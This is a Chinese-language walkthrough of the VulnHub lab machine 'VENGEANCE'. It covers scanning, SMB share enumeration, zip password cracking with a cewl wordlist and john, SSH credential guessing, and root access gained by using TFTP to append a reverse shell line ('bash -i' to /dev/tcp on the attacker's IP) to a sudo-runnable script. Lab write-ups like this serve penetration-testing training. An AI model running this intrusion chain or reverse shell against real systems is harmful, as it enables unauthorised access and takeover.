靶机渗透练习58-digitalworld.local:VENGEANCE

靶机描述

靶机地址:https://www.vulnhub.com/entry/digitalworldlocal-vengeance,704/

Description

2021 brings us the VENGEANCE of digitalworld.local! A box born out of COVID-19. This machine was built whilst the author was mulling over life in infosec whilst doing his PEN-300 course. But the author always has a heart for the OSCP, which explains yet another OSCP-like box, full of enumeration goodness.

If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): VENGEANCE is (#1): all about users making use of other users, (#2): broken hearts, (#3): broken minds.

Note: Always think like a user when enumerating target machine.

Feel free to contact the author at https://donavan.sg/blog if you would like to drop a comment.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.128.128

靶机

IP地址:192.168.128.133

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VMware Workstation,设置为NAT 模式

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth1 -l

⬢  VENGEANCE  arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:b5:12:9d, IPv4: 192.168.128.128
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.128.1   00:50:56:c0:00:08       VMware, Inc.
192.168.128.2   00:50:56:f4:41:f5       VMware, Inc.
192.168.128.133 00:0c:29:85:46:6e       VMware, Inc.
192.168.128.254 00:50:56:fb:5c:73       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.931 seconds (132.57 hosts/sec). 4 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充
2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  kali  nmap -A -sV -T4 -p- 192.168.128.133
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-25 11:31 CST
Nmap scan report for bogon (192.168.128.133)
Host is up (0.00032s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE  SERVICE      VERSION
7/tcp     closed echo
22/tcp    closed ssh
80/tcp    open   http         nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_auth-owners: www-data
|_http-title: VENGEANCE – Confessions of a girl who has been cornered ...
88/tcp    closed kerberos-sec
110/tcp   open   pop3         Dovecot pop3d
|_pop3-capabilities: SASL STLS UIDL RESP-CODES TOP PIPELINING AUTH-RESP-CODE CAPA
|_auth-owners: dovenull
113/tcp   open   ident?
|_auth-owners: root
139/tcp   open   netbios-ssn  Samba smbd 4.6.2
|_auth-owners: root
143/tcp   open   imap         Dovecot imapd (Ubuntu)
|_auth-owners: dovenull
|_imap-capabilities: SASL-IR ID Pre-login IDLE STARTTLS IMAP4rev1 OK listed post-login more ENABLE capabilities LOGINDISABLEDA0001 LOGIN-REFERRALS have LITERAL+
161/tcp   closed snmp
389/tcp   closed ldap
443/tcp   open   ssl/http     nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=VENGEANCE/organizationName=Good Tech Inc/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2021-02-14T02:40:28
|_Not valid after:  2022-02-14T02:40:28
| tls-nextprotoneg: 
|   h2
|_  http/1.1
| tls-alpn: 
|   h2
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: VENGEANCE – Confessions of a girl who has been cornered ...
|_auth-owners: www-data
445/tcp   open   netbios-ssn  Samba smbd 4.6.2
|_auth-owners: root
993/tcp   open   tcpwrapped
995/tcp   open   tcpwrapped
1337/tcp  closed waste
2049/tcp  closed nfs
6000/tcp  closed X11
8080/tcp  closed http-proxy
22222/tcp open   ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 32:eb:05:fa:d3:75:45:5e:c7:72:fb:03:aa:05:b7:d7 (RSA)
|   256 40:16:f8:d1:f1:06:e5:aa:13:44:28:ed:e0:55:ef:34 (ECDSA)
|_  256 52:78:15:c2:3b:a1:90:20:3a:b1:d6:75:93:72:d8:f8 (ED25519)
|_auth-owners: root
54321/tcp closed unknown
MAC Address: 00:0C:29:85:46:6E (VMware)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-03-25T03:34:11
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms bogon (192.168.128.133)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.62 seconds

开放了以下端口

80—http—nginx 1.18.0 (Ubuntu)

111—pop3—Dovecot pop3d

113—ident?

139—netbios-ssn—Samba smbd 4.6.2

143—imap—Dovecot imapd (Ubuntu)

443—ssl/http—nginx 1.18.0 (Ubuntu)

445—netbios-ssn—Samba smbd 4.6.2

993—tcpwrapped

995—tcpwrapped

22222—ssh—OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.128.133/

image-20220325114632955

image-20220325114701635

发现需要将vengeance.goodtech.inc添加到/etc/hosts

访问:http://vengeance.goodtech.inc/

image-20220325114905995

这是一个WordPress站,简单看了一下,没什么发现

扫描一下目录:dirsearch -u http://vengeance.goodtech.inc

⬢  VENGEANCE  dirsearch -u http://vengeance.goodtech.inc                    

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/vengeance.goodtech.inc/_22-03-25_14-49-12.txt

Error Log: /root/.dirsearch/logs/errors-22-03-25_14-49-12.log

Target: http://vengeance.goodtech.inc/

[14:49:12] Starting: 
[14:49:12] 200 -  220B  - /.bash_logout
[14:49:12] 200 -    4KB - /.bashrc
[14:49:13] 403 -  564B  - /.ht_wsr.txt
[14:49:13] 403 -  564B  - /.htaccess.orig
[14:49:13] 403 -  564B  - /.htaccess.sample
[14:49:13] 403 -  564B  - /.htaccess.save
[14:49:13] 403 -  564B  - /.htaccess_orig
[14:49:13] 403 -  564B  - /.htaccess_extra
[14:49:13] 403 -  564B  - /.htaccess.bak1
[14:49:13] 403 -  564B  - /.htaccessOLD
[14:49:13] 403 -  564B  - /.htaccessBAK
[14:49:13] 403 -  564B  - /.htaccessOLD2
[14:49:13] 403 -  564B  - /.htaccess_sc
[14:49:13] 403 -  564B  - /.htm
[14:49:13] 403 -  564B  - /.html
[14:49:13] 403 -  564B  - /.httr-oauth
[14:49:13] 403 -  564B  - /.htpasswd_test
[14:49:13] 403 -  564B  - /.htpasswds
[14:49:13] 200 -  807B  - /.profile
[14:49:17] 403 -  564B  - /admin/.htaccess
[14:49:19] 403 -  564B  - /administrator/.htaccess
[14:49:20] 403 -  564B  - /app/.htaccess
[14:49:27] 200 -   19KB - /license.txt
[14:49:31] 301 -    0B  - /index.php  ->  http://vengeance.goodtech.inc/
[14:49:32] 200 -    7KB - /readme.html
[14:49:37] 301 -  178B  - /wp-admin  ->  http://vengeance.goodtech.inc/wp-admin/
[14:49:37] 403 -    3KB - /wp-admin/
[14:49:37] 200 -    1KB - /wp-admin/install.php
[14:49:37] 400 -    1B  - /wp-admin/admin-ajax.php
[14:49:37] 200 -    0B  - /wp-config.php
[14:49:37] 409 -    3KB - /wp-admin/setup-config.php
[14:49:37] 301 -  178B  - /wp-content  ->  http://vengeance.goodtech.inc/wp-content/
[14:49:37] 200 -    0B  - /wp-content/
[14:49:37] 200 -   69B  - /wp-content/plugins/akismet/akismet.php
[14:49:37] 403 -  564B  - /wp-content/uploads/
[14:49:37] 200 -    0B  - /wp-cron.php
[14:49:37] 403 -  564B  - /wp-includes/
[14:49:37] 301 -  178B  - /wp-includes  ->  http://vengeance.goodtech.inc/wp-includes/
[14:49:37] 200 -    0B  - /wp-includes/rss-functions.php
[14:49:37] 403 -  564B  - /wp-content/upgrade/
[14:49:37] 405 -   42B  - /xmlrpc.php

Task Completed
⬢  VENGEANCE  

简单扫描后,没什么特殊发现,源码也没有什么特殊的

2.2.2 SMB分析

enum4linux扫描一下:enum4linux 192.168.128.133 | tee vengance.txt

image-20220325150057599

扫描出 smb 服务器中的文件夹sarapublic$

image-20220325145811224

扫描出两个系统用户:saraqinyi

使用smbclient查看一下 smb 服务器中的 sarapublic$文件夹:

⬢  VENGEANCE  smbclient -N \\\\192.168.128.133\\sarapublic$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Mar  8 18:28:35 2021
  ..                                  D        0  Mon Mar  8 18:29:24 2021
  eaurouge.txt                        N       11  Mon Mar  8 10:46:53 2021
  eaurouge                            N      110  Tue Feb 23 19:06:40 2021
  essay.txt                           N     1257  Mon Mar  8 18:28:34 2021
  gio.zip                             N 11150297  Sun Feb 21 13:48:13 2021
  cognac                              D        0  Wed Feb 24 01:48:47 2021
  blurb.txt                           N      525  Mon Mar  8 10:55:24 2021
  champagne                           D        0  Wed Feb 24 00:15:07 2021
  profile.txt                         N      337  Mon Mar  8 10:45:26 2021

                19475088 blocks of size 1024. 10933384 blocks available
smb: \> 

将其都下载下来

smb: \> get eaurouge.txt 
getting file \eaurouge.txt of size 11 as eaurouge.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> get eaurouge
getting file \eaurouge of size 110 as eaurouge (4.5 KiloBytes/sec) (average 2.6 KiloBytes/sec)
smb: \> get essay.txt 
getting file \essay.txt of size 1257 as essay.txt (72.2 KiloBytes/sec) (average 21.7 KiloBytes/sec)
smb: \> get gio.zip 
getting file \gio.zip of size 11150297 as gio.zip (21865.4 KiloBytes/sec) (average 19447.0 KiloBytes/sec)
smb: \> get cognac
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \cognac
smb: \> get blurb.txt 
getting file \blurb.txt of size 525 as blurb.txt (25.6 KiloBytes/sec) (average 18777.3 KiloBytes/sec)
smb: \> get profile.txt 
getting file \profile.txt of size 337 as profile.txt (7.0 KiloBytes/sec) (average 17370.3 KiloBytes/sec)
smb: \> cd cognac\
smb: \cognac\> ls -al
NT_STATUS_NO_SUCH_FILE listing \cognac\-al
smb: \cognac\> ls
  .                                   D        0  Wed Feb 24 01:48:47 2021
  ..                                  D        0  Mon Mar  8 18:28:35 2021
  to-do                               N      200  Wed Feb 24 01:48:47 2021

                19475088 blocks of size 1024. 10933376 blocks available
smb: \cognac\> get to-do 
getting file \cognac\to-do of size 200 as to-do (6.1 KiloBytes/sec) (average 16527.1 KiloBytes/sec)
smb: \cognac\> cd ..
smb: \> cd champagne\
smb: \champagne\> ls
  .                                   D        0  Wed Feb 24 00:15:07 2021
  ..                                  D        0  Mon Mar  8 18:28:35 2021
  www.domperignon.com                 D        0  Wed Feb 24 00:07:08 2021

                19475088 blocks of size 1024. 10933372 blocks available
smb: \champagne\> cd www.domperignon.com\
smb: \champagne\www.domperignon.com\> ls
  .                                   D        0  Wed Feb 24 00:07:08 2021
  ..                                  D        0  Wed Feb 24 00:15:07 2021
  sites                               D        0  Wed Feb 24 00:04:56 2021
  robots.txt                          N    17739  Wed Feb  3 00:00:17 2021
  index.html.tmp                      N    18766  Wed Feb  3 00:00:17 2021
  ruxitagentjs_ICA27SVfjqrx_10203201027145855.js      N   193811  Thu Dec 10 23:23:49 2020
  fr-fr                               D        0  Wed Feb 24 00:09:25 2021
  ww-fr                               D        0  Wed Feb 24 00:06:57 2021
  ww-en                               D        0  Wed Feb 24 00:04:55 2021
  misc                                D        0  Wed Feb 24 00:09:17 2021
  ww-es                               D        0  Wed Feb 24 00:07:10 2021

                19475088 blocks of size 1024. 10933372 blocks available
smb: \champagne\www.domperignon.com\> get robots.txt 
getting file \champagne\www.domperignon.com\robots.txt of size 17739 as robots.txt (173.2 KiloBytes/sec) (average 14372.4 KiloBytes/sec)
smb: \champagne\www.domperignon.com\> 

查看其内容

blurb.txt内容如下

⬢  VENGEANCE  cat blurb.txt                                     
Blurb about guards:

How do you guard against a thief from the inside?

Blurb about workers:

Why do workers always set passwords related to their jobs?

Blurb about security:

Security has both "U" and "I" in it. Everyone must do their part!

Blurb about passwords:

Passwords are words that guard the pass.

Blurb about nonsense:

Sense is a subset of "nonsense"; all sensible talk, to others who don't understand, can be construed as nonsense.

Blurb about trying harder:

We all try harder in whatever we do. Try harder!

image-20220325150804353

eaurouge内容如下

⬢  VENGEANCE  cat eaurouge 
#!/bin/bash

# I don't know how to script stuff... so I'm trying something.

echo 'I am silly' > eaurouge.txt
⬢  VENGEANCE  

eaurouge.txt 内容如下

⬢  VENGEANCE  cat eaurouge.txt 
I am silly
⬢  VENGEANCE  

essay.txt内容如下

⬢  VENGEANCE  cat essay.txt   
One fine morning, I looked out of the window and saw the sun rise.

It was a frenetic Friday. Amidst the warm sun rays projecting its glow through my room, there was a mad dash to solve a serious issue back at HQ. It felt eerily close.

Our servers were hacked.

We were in real trouble. The daydreaming had to stop. Without brushing my teeth, I stormed out of the house and prayed that it will all be OK.

Except things were anything except OK. The attackers seemed to have taken control of our development domain. This was apocalyptic.

The attackers managed to make away with our nanotechnological intellectual property. Additionally, the attackers deleted our latest development product, the ARCEUS X-FORCE. It was unknown if the attackers decided to sell ARCEUS X-FORCE illegally.

On closer inspection, we realised that this was an insider job. Govindasamy did an investigation, revealing that Qinyi was attempting to log into the development servers without prior permission. That was clearly a red flag, resulting in Govindasamy looking through her access rights.

We discovered that, due to a misconfiguration, she had granted herself access rights that were otherwise not supposed to have been granted. We have since removed these access rights. 
⬢  VENGEANCE 

image-20220325151102195

profile.txt内容如下

⬢  VENGEANCE  cat profile.txt         
Draft profile for Giovanni:

- worked in nanotechnological fields for 15 years
- hails from Milan
- worked on CNTs, graphene for device fabrication
- CEO of multiple nanotech firms in Tokyo, Singapore and Milan
- collaborating with Good Tech Inc. on R&D project
- keynote speaker of the "Good Tech Inc. Chip Fabrication Project" in 2019
⬢  VENGEANCE  

to-do内容如下

⬢  VENGEANCE  cat to-do           
1. compare between martell, remy martin, hennesey, courvoiser.

2. decide how we want to advertise the cognac brand we pick.

3. investigate why qinyi's looking into carbon nanotubes all of a sudden.
⬢  VENGEANCE  

image-20220325151546659

没有什么可利用的信息

robots.txt也没有可利用的信息

gio.zip打开需要密码

密码应该隐藏在上面下载的那几个文件里,先把那几个文件做成密码本,使用cewl字典生成工具生成密码本,先在本地开启个 http 服务,然后利用cewl爬取文件关键字生成密码本:

cewl 192.168.128.128:8000/blurb.txt >> pass.txt

cewl 192.168.128.128:8000/eaurouge >> pass.txt

cewl 192.168.128.128:8000/eaurouge.txt >> pass.txt

cewl 192.168.128.128:8000/essay.txt >> pass.txt

cewl 192.168.128.128:8000/profile.txt >> pass.txt

cewl 192.168.128.128:8000/to-do >> pass.txt

利用生成的密码本爆破一下 zip 文件:

⬢  VENGEANCE john --wordlist=pass.txt password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nanotechnological (gio.zip)     
1g 0:00:00:00 DONE (2022-03-25 15:28) 100.0g/s 24600p/s 24600c/s 24600C/s Blurb..sudden
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
⬢  VENGEANCE  

解压压缩包,并查看一下内容

⬢  VENGEANCE  unzip gio.zip
Archive:  gio.zip
   creating: gio/
[gio.zip] gio/pass_reminder.txt password: 
 extracting: gio/pass_reminder.txt   
  inflating: gio/ted_talk.pptx       
  inflating: gio/tryharder.png       
⬢  VENGEANCE  cd gio       
⬢  gio  ls -al
总用量 11400
drwxr-xr-x 2 root   root     4096  215  2021 .
drwxr-xr-x 3 hirak0 kali     4096  325 15:31 ..
-rw-r--r-- 1 root   root       19  215  2021 pass_reminder.txt
-rw-r--r-- 1 root   root 11111194  215  2021 ted_talk.pptx
-rw-r--r-- 1 root   root   547545  215  2021 tryharder.png

pass_reminder.txt内容如下

name_corner_circuit#  
姓名_(道路的)急转弯_线路

PPT文件内容如下,没啥东西,先放着

image-20220325153401557

图片详情如下,检查了一下图片,看看是否隐藏信息,没有什么发现

image-20220325153428217

回头看看,name_corner_circuit内容好像跟PPT有联系

PPT中第一页有名字Giovanni Berlusconi

PPT中第三页有Suzuka 130R,拆分一下130R是个弯道,Suzuka是线路

image-20220325154801685

尝试组合出密码

Giovanni Berlusconi_130R_Suzuka
Giovanni Berlusconi_130r_Suzuka
Giovanni Berlusconi_130R_suzuka
Giovanni Berlusconi_130r_suzuka
giovanni berlusconi_130R_Suzuka
giovanni berlusconi_130R_suzuka
giovanni berlusconi_130r_Suzuka
giovanni berlusconi_130r_suzuka
Giovanni_130R_Suzuka
Giovanni_130r_Suzuka
Giovanni_130R_suzuka
Giovanni_130r_suzuka
giovanni_130R_Suzuka
giovanni_130R_suzuka
giovanni_130r_Suzuka
giovanni_130r_suzuka

用户在之前扫出来了两个 saraqinyi

分别尝试登录

最后尝试出用户qinyi与密码 giovanni_130R_Suzuka成功登录

⬢  VENGEANCE  ssh qinyi@192.168.128.133 -p 22222     
The authenticity of host '[192.168.128.133]:22222 ([192.168.128.133]:22222)' can't be established.
ED25519 key fingerprint is SHA256:JGuTJL+RnrYpqCe3omn+FyXX8w820/GJnu5EbbpjcW4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.128.133]:22222' (ED25519) to the list of known hosts.
qinyi@192.168.128.133's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 25 Mar 2022 07:54:56 AM UTC

  System load:  0.0                Processes:              234
  Usage of /:   38.7% of 18.57GB   Users logged in:        0
  Memory usage: 20%                IPv4 address for ens33: 192.168.128.133
  Swap usage:   0%


15 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

qinyi@vengeance:~$ 

2.3漏洞利用

。。。。。

2.4权限提升

2.4.1 信息收集

登录进去后,进行信息收集

uid=1001(qinyi) gid=1001(qinyi) groups=1001(qinyi)
qinyi@vengeance:~$ sudo -l
Matching Defaults entries for qinyi on vengeance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User qinyi may run the following commands on vengeance:
    (root) NOPASSWD: /bin/systemctl restart nginx, /home/sara/private/eaurouge
qinyi@vengeance:~$ /home/sara/private/eaurouge
-bash: /home/sara/private/eaurouge: Permission denied
qinyi@vengeance:~$ 

发现以 root 身份运行 /home/sara/private/eaurouge,但是登录用户是qinyi,没有权限访问

使用pspy64进行信息收集

qinyi@vengeance:/tmp$ wget http://192.168.128.128/pspy64
--2022-03-25 08:00:04--  http://192.168.128.128/pspy64
Connecting to 192.168.128.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                          100%[=======================================================>]   2.94M  --.-KB/s    in 0.05s   

2022-03-25 08:00:04 (59.7 MB/s) - ‘pspy64’ saved [3078592/3078592]

qinyi@vengeance:/tmp$ 

image-20220325160224318

发现在69端口开着 tftp 服务,就在/home/sara/private目录下,但是在之前并没有扫描出来这个端口

单独扫一下这个端口,看是否真的开启

⬢  VENGEANCE  nmap -sU -p69 192.168.128.133      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-25 16:18 CST
Nmap scan report for vengeance.goodtech.inc (192.168.128.133)
Host is up (0.00022s latency).

PORT   STATE         SERVICE
69/udp open|filtered tftp
MAC Address: 00:0C:29:85:46:6E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
qinyi@vengeance:/tmp$ netstat -a | grep tftp
udp        0      0 0.0.0.0:tftp            0.0.0.0:*                          
udp6       0      0 [::]:tftp               [::]:*                             
qinyi@vengeance:/tmp$ 

确实在运行,那就获取/home/sara/private/eaurouge文件看一下:

⬢  VENGEANCE  tftp 192.168.128.133
tftp> ls
?Invalid command
tftp> get eaurouge    
Received 184 bytes in 0.1 seconds
tftp> q

查看一下内容

⬢  VENGEANCE  cat eaurouge    
#!/bin/bash

touch /home/sara/public/test.txt

echo "Test file" > /home/sara/public/test.txt

chown sara:sara /home/sara/public/test.txt

chmod 644 /home/sara/public/test.txt
⬢  VENGEANCE  

在脚本末尾添加反弹 shell:bash -c 'exec bash -i &>/dev/tcp/192.168.128.128/6666 <&1'

⬢  VENGEANCE  vim eaurouge 
⬢  VENGEANCE  cat eaurouge    
#!/bin/bash

touch /home/sara/public/test.txt

echo "Test file" > /home/sara/public/test.txt

chown sara:sara /home/sara/public/test.txt

chmod 644 /home/sara/public/test.txt

bash -c 'exec bash -i &>/dev/tcp/192.168.128.128/6666 <&1'
⬢  VENGEANCE  

将其上传到靶机

⬢  VENGEANCE  tftp 192.168.128.133
tftp> put eaurouge
Sent 246 bytes in 0.0 seconds
tftp> 

kali本地监听一下:nc -lvp 6666

然后运行一下eaurouge 文件

qinyi@vengeance:/tmp$ sudo /home/sara/private/eaurouge

成功提权,并拿到flag

⬢  VENGEANCE  nc -lvp 6666                 
listening on [any] 6666 ...
connect to [192.168.128.128] from vengeance.goodtech.inc [192.168.128.133] 38256
root@vengeance:/tmp# cd /root
cd /root
root@vengeance:~# ls
ls
proof.txt
snap
vengeance.crt
vengeance.key
root@vengeance:~# cat proof.txt
cat proof.txt
Root access obtained!

Congratulations on breaking through the 6th box in the digitalworld.local series. Hope you enjoyed this one.
root@vengeance:~# 

总结

本靶机首先通过enum4linux信息收集得到smb共享文件夹以及用户名,smbclient下载文件夹里边的文件,cewl生成密码本爆破压缩包密码,最后通过sudo提权

  1. enum4linux信息收集
  2. smbclient下载文件
  3. cewl生成密码本
  4. sudo提权
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